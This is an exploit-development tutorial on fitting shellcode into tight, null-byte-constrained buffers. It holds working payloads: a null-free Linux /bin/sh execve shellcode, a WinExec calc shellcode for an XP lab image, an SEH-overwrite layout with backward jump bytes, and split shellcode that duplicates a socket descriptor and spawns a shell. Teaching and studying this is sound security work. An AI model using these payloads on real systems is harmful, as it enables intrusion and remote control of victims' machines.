Shellcode Under Constraints

Real-world exploit development rarely offers the luxury of a 500-byte contiguous buffer with no bad characters. More often you’re working within tight limits — a 68-byte window, a null byte that truncates your payload, or a firewall that blocks your reverse shell. These constraints force creative solutions.

A null-free Linux baseline

The smallest useful baseline is a 23-byte, 32-bit Linux payload for execve("/bin//sh", NULL, NULL). It shows the three techniques that recur in larger constrained payloads: zero a register with xor, set only the low byte when an immediate would introduce nulls, and construct strings backwards on the stack.

section .text
    global _start

_start:
    xor eax, eax        ; zero EAX without embedding 00 bytes
    push eax            ; string terminator
    push 0x68732f2f     ; "//sh"
    push 0x6e69622f     ; "/bin"
    mov ebx, esp        ; filename
    mov ecx, eax        ; argv = NULL
    mov edx, eax        ; envp = NULL
    mov al, 0x0b        ; i386 execve syscall
    int 0x80

31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 89 c1 89 c2 b0 0b cd 80

Linux accepts null argv and envp pointers for execve; portable Unix code should supply null-terminated arrays and an argv[0]. This payload also assumes the i386 syscall ABI and executable memory. Those are lab constraints, not production conventions. Confirm the assembled bytes with objcopy or xxd rather than copying a byte string without rebuilding it.

The Null Byte Problem in SafeSEH Bypass

When exploiting an SEH overflow on Windows, you need a POP POP RET gadget from a module without SafeSEH. Sometimes the only viable candidate has a null byte in its address:

Found CALL DWORD PTR SS:[EBP+30] at 0x00280B0B [none]
** Null byte ** PAGE_READONLY

The address 0x00280B0B starts with a null byte. In little-endian, the packed address is \x0b\x0b\x28\x00 — the null byte is at the end. This means strcpy and similar functions will write the full address, but nothing after it gets copied into the buffer.

This has a cascading effect on payload design:

Normal SEH exploit layout:
| Junk | nSEH (jmp) | SEH (POP POP RET) | NOP sled | Shellcode |
  N bytes    4 bytes       4 bytes           ~50 B      ~300 B

With null byte in SEH address:
| Junk | nSEH (jmp) | SEH (POP POP RET\x00) |  ← everything stops here
  N bytes    4 bytes       4 bytes

The shellcode must go before the SEH overwrite, not after. In this lab, nSEH begins at offset 64 and the SEH handler begins at offset 68. That leaves exactly 64 bytes before nSEH for a landing area and payload. The nSEH and handler overwrite consume another eight bytes.

Hand-Crafted Shellcode for Tight Spaces

With ~68 bytes, msfvenom’s encoded output (typically 200+ bytes) won’t fit. You need hand-crafted, minimal shellcode.

WinExec in 26 bytes on one legacy lab image

A minimal WinExec("calc.exe", 1) shellcode:

sc = b"\x90"                            # NOP (landing pad)
sc += b"\x33\xDB"                       # xor ebx, ebx
sc += b"\x53"                           # push ebx (null terminator)
sc += b"\x68\x2e\x65\x78\x65"          # push ".exe"
sc += b"\x68\x63\x61\x6c\x63"          # push "calc"
sc += b"\x8B\xCC"                       # mov ecx, esp (ptr to "calc.exe")
sc += b"\x6A\x01"                       # push 1 (SW_SHOWNORMAL)
sc += b"\x51"                           # push ecx (lpCmdLine)
sc += b"\xBB\xAD\x23\x86\x7C"          # mov ebx, 0x7C8623AD (WinExec addr)
sc += b"\xFF\xD3"                       # call ebx

Every byte is accounted for: this string is 26 bytes, including its one-byte landing NOP. The absolute WinExec address is valid only for the specific 32-bit Windows XP SP3 lab image on which it was resolved. It is not portable to modern Windows, another service pack, or a process where ASLR changes the module base.

0:000> x kernel32!WinExec
7c8623ad kernel32!WinExec

Resolve the symbol in a debugger attached to the target image and record that image with the exploit. A gadget search is not a substitute for resolving an exported function, and a hardcoded API address is not a general shellcode technique.

The Budget

With this shellcode occupying 26 bytes, the 64-byte pre-nSEH region can hold 38 bytes of landing space followed by the payload:

| NOP sled (38 B) | Shellcode (26 B) | nSEH (4 B) | SEH (4 B) | \x00 stops copy |
      ↑                                      ↑
   Landing zone                          Short jmp back

nSEH contains a short jump backwards (\xeb\xd2\x90\x90). From the instruction pointer at offset 66, the signed displacement 0xd2 is -46, so execution lands at offset 20 inside the NOP sled and slides into the payload. Recalculate it if the crash pattern gives you a different overwrite position.

When Egghunters Don’t Save You

An egghunter is usually the answer for small buffers: place a ~32-byte egghunter in the limited space and the full shellcode elsewhere in memory. But this requires two things:

1. A second input vector to place the larger shellcode somewhere in the process’s address space (another field, a socket recv, a file read, an environment variable)
2. Enough space for the egghunter itself plus the SEH/nSEH overhead

If neither condition is met — for example, a local file-based exploit with a single input and only 68 bytes of controlled space — the egghunter approach doesn’t help. You’re stuck fitting everything in the primary buffer.

The Constraint Cascade

When multiple mitigations combine with limited space, the constraints compound:

Adding DEP to the mix makes this configuration effectively unexploitable with the available gadgets. A ROP chain to bypass DEP typically needs 60-100+ bytes, and there’s no room alongside the shellcode. Recognizing this dead end early saves time.

Splitting Shellcode Across Gaps

When the buffer is large enough overall but not contiguous, shellcode can be divided into independent chunks connected by short jumps.

Consider a remote service where strcpy writes to buffers spaced 0x40 bytes apart in memory:

0xf74005d0: [chunk 1 -- 32 bytes usable]
0xf74005f0: [gap     -- 32 bytes]
0xf7400610: [chunk 2 -- 32 bytes usable]
0xf7400630: [gap     -- 32 bytes]
0xf7400650: [chunk 3 -- 32 bytes usable]

This example assumes the debugger confirmed those exact addresses and that the connected socket is file descriptor 4. Chunk 1 is padded so its final two bytes sit at 0xf74005ee; the next instruction is at 0xf74005f0. A 0x20 displacement then lands at 0xf7400610.

# Chunk 1: dup2(4, 2), dup2(4, 1), dup2(4, 0)
chunk1  = b"\x31\xc0"              # xor eax, eax
chunk1 += b"\x31\xdb"              # xor ebx, ebx
chunk1 += b"\xb3\x04"              # mov bl, 4 (known socket fd)
chunk1 += b"\x31\xc9"              # xor ecx, ecx
chunk1 += b"\xb1\x02"              # mov cl, 2 (new fd)
chunk1 += b"\xb0\x3f\xcd\x80"      # loop: dup2(ebx, ecx)
chunk1 += b"\x49\x79\xf9"          # dec ecx; jns loop
chunk1 += b"\x90" * (30 - len(chunk1))
chunk1 += b"\xeb\x20"              # from 0x5f0 to chunk 2 at 0x610

# Chunk 2: execve("/bin/sh")
chunk2  = b"\x50"                  # push eax (null)
chunk2 += b"\x68\x2f\x2f\x73\x68"  # push "//sh"
chunk2 += b"\x68\x2f\x62\x69\x6e"  # push "/bin"
chunk2 += b"\x89\xe3\x50\x53"      # setup argv
chunk2 += b"\x89\xe1\x99"          # ecx, edx
chunk2 += b"\xb0\x0b\xcd\x80"      # execve

The key rule is to split at points where every internal branch remains inside its chunk. Here, jns loops within chunk 1. The final \xeb\x20 is the only cross-chunk branch.

Calculating Jump Distances

The short jump instruction \xeb\xNN jumps NN bytes forward from the instruction after the jump (since the CPU has already advanced past the 2-byte instruction):

Jump bytes at:      0xf74005ee (\xeb\x20)
Next instruction:   0xf74005f0 (offset is measured from here)
Chunk 2 starts at:  0xf7400610
Distance:           0x610 - 0x5f0 = 0x20 (32 bytes)

So \xeb\x20 is correct for this measured layout. Always verify the source and target addresses in GDB. A copied displacement is meaningless when either buffer start or usable length changes.

General Principles

1. Map your byte budget before writing any shellcode: know exactly how many bytes are available and where they can go.
2. Hand-craft when space is tight. Encoders and generators add overhead; manual assembly can save 50-70% of the space.
3. Watch for null bytes cascading: a single null byte in a critical address can reshape the entire exploit layout.
4. Expect mitigations to compound. Each protection eats into your available space; combinations can be unexploitable with a given approach.
5. Recognize dead ends. If the math doesn’t add up (ROP chain + shellcode > available space), pivot to a different strategy rather than forcing it.
6. Use short jumps to bridge gaps. Discontinuous buffers are workable as long as the gaps are within 127 bytes and the shellcode splits cleanly.

The Linux Syscalls for Exploit Development tutorial covers the syscall interface these payloads rely on, and the basic stack buffer overflow tutorial walks through injecting shellcode into a vulnerable binary end-to-end.